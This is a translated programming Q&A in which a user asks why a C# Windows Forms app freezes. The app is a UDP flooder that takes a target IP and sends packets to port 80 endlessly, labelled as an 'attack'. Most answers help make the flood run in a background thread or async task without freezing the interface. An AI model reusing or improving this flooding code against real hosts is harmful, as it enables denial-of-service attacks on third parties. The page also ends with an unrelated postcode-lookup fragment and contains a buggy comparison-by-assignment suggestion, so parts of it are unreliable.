当我执行以下代码(循环)时,我的C#应用​​程序一直冻结:

时间:2016-06-21 10:27:10

标签: c# loops freeze

当我在程序中执行以下代码时,表单无响应

我尝试了多种解决方案,但都没有成功。

希望得到一些帮助:)

    private void metroButton2_Click(object sender, EventArgs e)
    {
        if (textBox1.Text == "")
        {
            MetroMessageBox.Show(this, "Please input a IP-Address", "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Hand);
        }
        else
        {


            MetroMessageBox.Show(this, "Attacking will start untill you manually stop it", "INFO", MessageBoxButtons.OK, MessageBoxIcon.Hand);

            string acttive = "active";


            byte[] packetData = System.Text.ASCIIEncoding.ASCII.GetBytes("a");
            string IP = textBox1.Text;
            int port = 80;

            IPEndPoint ep = new IPEndPoint(IPAddress.Parse(IP), port);

            Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
            System.Threading.Thread.Sleep(500);
            while (acttive == "active")

                client.SendTo(packetData, ep);
        }

5 个答案:

答案 0 :(得分:1)

 while (acttive == "active")
     client.SendTo(packetData, ep);

你在这里错过了休息或中止的情况。

答案 1 :(得分:1)

这是因为您锁定了UI thread。只需将while loop放在thread内,它就可以正常运行而不会阻止UI thread
你可以这样做:

new Thread(() => 
{
    Thread.CurrentThread.IsBackground = true; 
    while (acttive == "active")
        client.SendTo(packetData, ep);
}).Start();

比较动作属性时,请注意可能出现的竞争条件 避免竞争条件超过动作财产的一种简单方法可能是:

private object obj = new object();
private string _active;
private string acctive
{
    get {
        lock (obj)
        {
            return _active;
        }
    }
    set
    {
        lock (obj)
        {
            _active = value;
        }
    }
}

答案 2 :(得分:0)

UI thread上执行的任何长时间运行(或持续运行)任务都会导致它忙碌并冻结(又名无响应)。

程序的这些部分应该在一个单独的线程上执行asynchronously

您最好的方法是使用async/await修饰符,而不是显式创建新的Thread。确保后续的任何代码都按预期执行。

private async void metroButton2_Click(object sender, EventArgs e)
{
    if (textBox1.Text == "")
    {
        MetroMessageBox.Show(this, "Please input a IP-Address", "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Hand);
    }
    else
    {


        MetroMessageBox.Show(this, "Attacking will start untill you manually stop it", "INFO", MessageBoxButtons.OK, MessageBoxIcon.Hand);

        string acttive = "active";


        byte[] packetData = System.Text.ASCIIEncoding.ASCII.GetBytes("a");
        string IP = textBox1.Text;
        int port = 80;

        IPEndPoint ep = new IPEndPoint(IPAddress.Parse(IP), port);

        Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
        System.Threading.Thread.Sleep(500);

        await Task.Run
        (
            () =>
            {
                while (acttive == "active")
                    client.SendTo(packetData, ep);
            }
        );

        // Rest of your code here will wait for the while loop to exit
    }
    // Rest of your code here will wait for the while loop to exit
}

答案 3 :(得分:0)

            while (acttive == "active")

            client.SendTo(packetData, ep);

这段代码应该做什么?截至目前,它是一个无限循环,因为你永远不会将变量acttive变为其他任何东西然后" active"

首先,你应该使用花括号作为你的while循环,以便了解它实际开始和结束的位置:

        while(acttive = "active")
    {
        // perform the task at hand
        client.SendTo(packetData, ep);

        //insert logic to change the acttive variable into something else then active in order to exit the loop.
        acttive = "whatever";
    }

另一方面,在我看来,整个循环只是一个坏主意,一个简单的if语句最有可能。

        if(acttive = "active")
    {
        client.SendTo(packetData, ep);
    }
    else
    {
        //too bad ....
    }

答案 4 :(得分:0)

也许你应该考虑使用ThreadPool或更好的,@ user3185569建议的更优雅的Task Api。

但是,获得工作的指定线程将被锁定在无限循环中。您的循环控制变量需要在某处更新以确保if条件最终计算为false,因此循环可以退出并且可以回收线程。

另外,考虑一种整齐的方式来打包你的变量 - active,packetData和ep。

  fhsBl.Helpers.CraftyPostCodeLookup _postCodeLookup = new fhsBl.Helpers.CraftyPostCodeLookup();

        DataTable dt = new DataTable();

       dt = _postCodeLookup.returnAddressList("AA11AA", "API KEY DONT BE NOSY");

除了UI线程上的even方法之外,还应该在其他地方初始化。由于它被重用,因此作为类级变量会更好。也没有明确处理它的规定。